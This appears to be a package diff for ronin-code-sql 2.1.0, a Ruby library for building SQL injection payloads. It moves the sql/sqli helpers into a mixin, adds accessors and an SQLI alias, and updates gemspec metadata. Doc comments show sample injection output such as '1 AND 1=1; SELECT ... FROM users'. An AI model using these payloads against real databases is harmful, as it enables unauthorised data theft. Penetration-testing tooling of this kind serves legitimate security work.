# # => #<Ronin::Code::SQL::Injection: 1 AND 1=1; SELECT (1,2,3,4,id) FROM users; SELECT (1,2,3,4,id) FROM users>
|
86
|
+
#
|
87
|
+
# @api public
|
88
|
+
#
|
89
|
+
def sqli(**kwargs,&block)
|
90
|
+
Injection.new(**kwargs,&block)
|
91
|
+
end
|
92
|
+
end
|
93
|
+
end
|
94
|
+
end
|
95
|
+
end
|
@@ -32,13 +32,23 @@ module Ronin
|
|
32
32
|
#
|
33
33
|
# @api semipublic
|
34
34
|
#
|
35
|
-
class Statement
|
35
|
+
class Statement
|
36
36
|
|
37
37
|
include Literals
|
38
38
|
include Operators
|
39
39
|
include Clauses
|
40
40
|
include Emittable
|
41
41
|
|
42
|
+
# The statement name.
|
43
|
+
#
|
44
|
+
# @return [Symbol, Array<Symbol>]
|
45
|
+
attr_reader :keyword
|
46
|
+
|
47
|
+
# The statement's argument.
|
48
|
+
#
|
49
|
+
# @return [Object, nil]
|
50
|
+
attr_reader :argument
|
51
|
+
|
42
52
|
#
|
43
53
|
# Initializes a new SQL statement.
|
44
54
|
#
|
@@ -56,7 +66,8 @@ module Ronin
|
|
56
66
|
# Otherwise the block will be evaluated within the statement.
|
57
67
|
#
|
58
68
|
def initialize(keyword,argument=nil,&block)
|
59
|
-
|
69
|
+
@keyword = keyword
|
70
|
+
@argument = argument
|
60
71
|
|
61
72
|
if block
|
62
73
|
case block.arity
|
@@ -28,10 +28,32 @@ module Ronin
|
|
28
28
|
#
|
29
29
|
# @api semipublic
|
30
30
|
#
|
31
|
-
class UnaryExpr
|
31
|
+
class UnaryExpr
|
32
32
|
|
33
33
|
include Emittable
|
34
34
|
|
35
|
+
# The unary operator symbol.
|
36
|
+
#
|
37
|
+
# @return [Symbol]
|
38
|
+
attr_reader :operator
|
39
|
+
|
40
|
+
# The unary operand.
|
41
|
+
#
|
42
|
+
# @return [Statement, BinaryExpr, Function, Field, Literal]
|
43
|
+
attr_reader :operand
|
44
|
+
|
45
|
+
#
|
46
|
+
# Initializes the unary expression.
|
47
|
+
#
|
48
|
+
# @param [Symbol] operator
|
49
|
+
#
|
50
|
+
# @param [Statement, BinaryExpr, Function, Field, Literal] operand
|
51
|
+
#
|
52
|
+
def initialize(operator,operand)
|
53
|
+
@operator = operator
|
54
|
+
@operand = operand
|
55
|
+
end
|
56
|
+
|
35
57
|
end
|
36
58
|
end
|
37
59
|
end
|
data/lib/ronin/code/sql.rb
CHANGED
@@ -18,8 +18,8 @@
|
|
18
18
|
# along with ronin-code-sql. If not, see <https://www.gnu.org/licenses/>.
|
19
19
|
#
|
20
20
|
|
21
|
-
require 'ronin/code/sql/
|
22
|
-
require 'ronin/code/
|
21
|
+
require 'ronin/code/sql/mixin'
|
22
|
+
require 'ronin/code/sqli'
|
23
23
|
|
24
24
|
module Ronin
|
25
25
|
module Code
|
@@ -30,67 +30,8 @@ module Ronin
|
|
30
30
|
# @see http://en.wikipedia.org/wiki/SQL_injection
|
31
31
|
#
|
32
32
|
module SQL
|
33
|
-
|
34
|
-
|
35
|
-
# Creates a new SQL statement list.
|
36
|
-
#
|
37
|
-
# @yield [(statements)]
|
38
|
-
# If a block is given, it will be evaluated within the statement list.
|
39
|
-
# If the block accepts an argument, the block will be called with the
|
40
|
-
# new statement list.
|
41
|
-
#
|
42
|
-
# @yieldparam [StatementList] statements
|
43
|
-
# The new statement list.
|
44
|
-
#
|
45
|
-
# @return [StatementList]
|
46
|
-
# The new SQL statement list.
|
47
|
-
#
|
48
|
-
# @example
|
49
|
-
# sql { select(1,2,3,4,id).from(users) }
|
50
|
-
# # => #<Ronin::Code::SQL::StatementList: SELECT (1,2,3,4,id) FROM users>
|
51
|
-
#
|
52
|
-
# @api public
|
53
|
-
#
|
54
|
-
def sql(&block)
|
55
|
-
StatementList.new(&block)
|
56
|
-
end
|
57
|
-
|
58
|
-
#
|
59
|
-
# Creates a new SQL injection (SQLi)
|
60
|
-
#
|
61
|
-
# @param [Hash{Symbol => Object}] kwargs
|
62
|
-
# Additional keyword arguments for {Injection#initialize}.
|
63
|
-
#
|
64
|
-
# @option kwargs [:integer, :decimal, :string, :column] :escape
|
65
|
-
# The type of element to escape out of.
|
66
|
-
#
|
67
|
-
# @option kwargs [Boolean] :terminate
|
68
|
-
# Specifies whether to terminate the SQLi with a comment.
|
69
|
-
#
|
70
|
-
# @option kwargs [String, Symbol, Integer] :place_holder
|
71
|
-
# Place-holder data.
|
72
|
-
#
|
73
|
-
# @yield [(injection)]
|
74
|
-
# If a block is given, it will be evaluated within the injection.
|
75
|
-
# If the block accepts an argument, the block will be called with the
|
76
|
-
# new injection.
|
77
|
-
#
|
78
|
-
# @yieldparam [Injection] injection
|
79
|
-
# The new injection.
|
80
|
-
#
|
81
|
-
# @return [Injection]
|
82
|
-
# The new SQL injection.
|
83
|
-
#
|
84
|
-
# @example
|
85
|
-
# sqli { self.and { 1 == 1 }.select(1,2,3,4,id).from(users) }
|
86
|
-
# # => #<Ronin::Code::SQL::Injection: 1 AND 1=1; SELECT (1,2,3,4,id) FROM users; SELECT (1,2,3,4,id) FROM users>
|
87
|
-
#
|
88
|
-
# @api public
|
89
|
-
#
|
90
|
-
def sqli(**kwargs,&block)
|
91
|
-
Injection.new(**kwargs,&block)
|
92
|
-
end
|
93
|
-
|
33
|
+
include Mixin
|
34
|
+
extend Mixin
|
94
35
|
end
|
95
36
|
end
|
96
37
|
end
|
@@ -0,0 +1,30 @@
|
|
1
|
+
# frozen_string_literal: true
|
2
|
+
#
|
3
|
+
# ronin-code-sql - A Ruby DSL for crafting SQL Injections.
|
4
|
+
#
|
5
|
+
# Copyright (c) 2007-2023 Hal Brodigan (postmodern.mod3 at gmail.com)
|
6
|
+
#
|
7
|
+
# ronin-code-sql is free software: you can redistribute it and/or modify
|
8
|
+
# it under the terms of the GNU Lesser General Public License as published
|
9
|
+
# by the Free Software Foundation, either version 3 of the License, or
|
10
|
+
# (at your option) any later version.
|
11
|
+
#
|
12
|
+
# ronin-code-sql is distributed in the hope that it will be useful,
|
13
|
+
# but WITHOUT ANY WARRANTY; without even the implied warranty of
|
14
|
+
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
15
|
+
# GNU Lesser General Public License for more details.
|
16
|
+
#
|
17
|
+
# You should have received a copy of the GNU Lesser General Public License
|
18
|
+
# along with ronin-code-sql. If not, see <https://www.gnu.org/licenses/>.
|
19
|
+
#
|
20
|
+
|
21
|
+
require 'ronin/code/sql/injection'
|
22
|
+
|
23
|
+
module Ronin
|
24
|
+
module Code
|
25
|
+
# Alias for {SQL::Injection}.
|
26
|
+
#
|
27
|
+
# @since 2.1.0
|
28
|
+
SQLI = SQL::Injection
|
29
|
+
end
|
30
|
+
end
|
data/ronin-code-sql.gemspec
CHANGED
@@ -1,4 +1,4 @@
|
|
1
|
-
#
|
1
|
+
# frozen_string_literal: true
|
2
2
|
|
3
3
|
require 'yaml'
|
4
4
|
|
@@ -22,7 +22,7 @@ Gem::Specification.new do |gem|
|
|
22
22
|
gem.homepage = gemspec['homepage']
|
23
23
|
gem.metadata = gemspec['metadata'] if gemspec['metadata']
|
24
24
|
|
25
|
-
glob =
|
25
|
+
glob = ->(patterns) { gem.files & Dir[*patterns] }
|
26
26
|
|
27
27
|
gem.files = `git ls-files`.split($/)
|
28
28
|
gem.files = glob[gemspec['files']] if gemspec['files']
|
@@ -33,7 +33,6 @@ Gem::Specification.new do |gem|
|
|
33
33
|
gem.executables = gemspec.fetch('executables') do
|
34
34
|
glob['bin/*'].map { |path| File.basename(path) }
|
35
35
|
end
|
36
|
-
gem.default_executable = gem.executables.first if Gem::VERSION < '1.7.'
|
37
36
|
|
38
37
|
gem.extensions = glob[gemspec['extensions'] || 'ext/**/extconf.rb']
|
39
38
|
gem.extra_rdoc_files = glob[gemspec['extra_doc_files'] || '*.{txt,md}']
|
@@ -47,7 +46,7 @@ Gem::Specification.new do |gem|
|
|
47
46
|
gem.required_rubygems_version = gemspec['required_rubygems_version']
|
48
47
|
gem.post_install_message = gemspec['post_install_message']
|
49
48
|
|
50
|
-
split =
|
49
|
+
split = ->(string) { string.split(/,\s*/) }
|
51
50
|
|
52
51
|
if gemspec['dependencies']
|
53
52
|
gemspec['dependencies'].each do |name,versions|
|
metadata
CHANGED
@@ -1,14 +1,14 @@
|
|
1
1
|
--- !ruby/object:Gem::Specification
|
2
2
|
name: ronin-code-sql
|
3
3
|
version: !ruby/object:Gem::Version
|
4
|
-
version: 2.
|
4
|
+
version: 2.1.0
|
5
5
|
platform: ruby
|
6
6
|
authors:
|
7
7
|
- Postmodern
|
8
8
|
autorequire:
|
9
9
|
bindir: bin
|
10
10
|
cert_chain: []
|
11
|
-
date: 2023-
|
11
|
+
date: 2023-06-27 00:00:00.000000000 Z
|
12
12
|
dependencies:
|
13
13
|
- !ruby/object:Gem::Dependency
|
14
14
|
name: ronin-support
|
@@ -53,6 +53,7 @@ files:
|
|
53
53
|
- ".gitignore"
|
54
54
|
- ".mailmap"
|
55
55
|
- ".rspec"
|
56
|
+
- ".rubocop.yml"
|
56
57
|
- ".ruby-version"
|
57
58
|
- ".yardopts"
|
58
59
|
- COPYING.txt
|
@@ -75,12 +76,14 @@ files:
|
|
75
76
|
- lib/ronin/code/sql/injection_expr.rb
|
76
77
|
- lib/ronin/code/sql/literal.rb
|
77
78
|
- lib/ronin/code/sql/literals.rb
|
79
|
+
- lib/ronin/code/sql/mixin.rb
|
78
80
|
- lib/ronin/code/sql/operators.rb
|
79
81
|
- lib/ronin/code/sql/statement.rb
|
80
82
|
- lib/ronin/code/sql/statement_list.rb
|
81
83
|
- lib/ronin/code/sql/statements.rb
|
82
84
|
- lib/ronin/code/sql/unary_expr.rb
|
83
85
|
- lib/ronin/code/sql/version.rb
|
86
|
+
- lib/ronin/code/sqli.rb
|
84
87
|
- ronin-code-sql.gemspec
|
85
88
|
homepage: https://github.com/ronin-rb/ronin-code-sql#readme
|
86
89
|
licenses:
|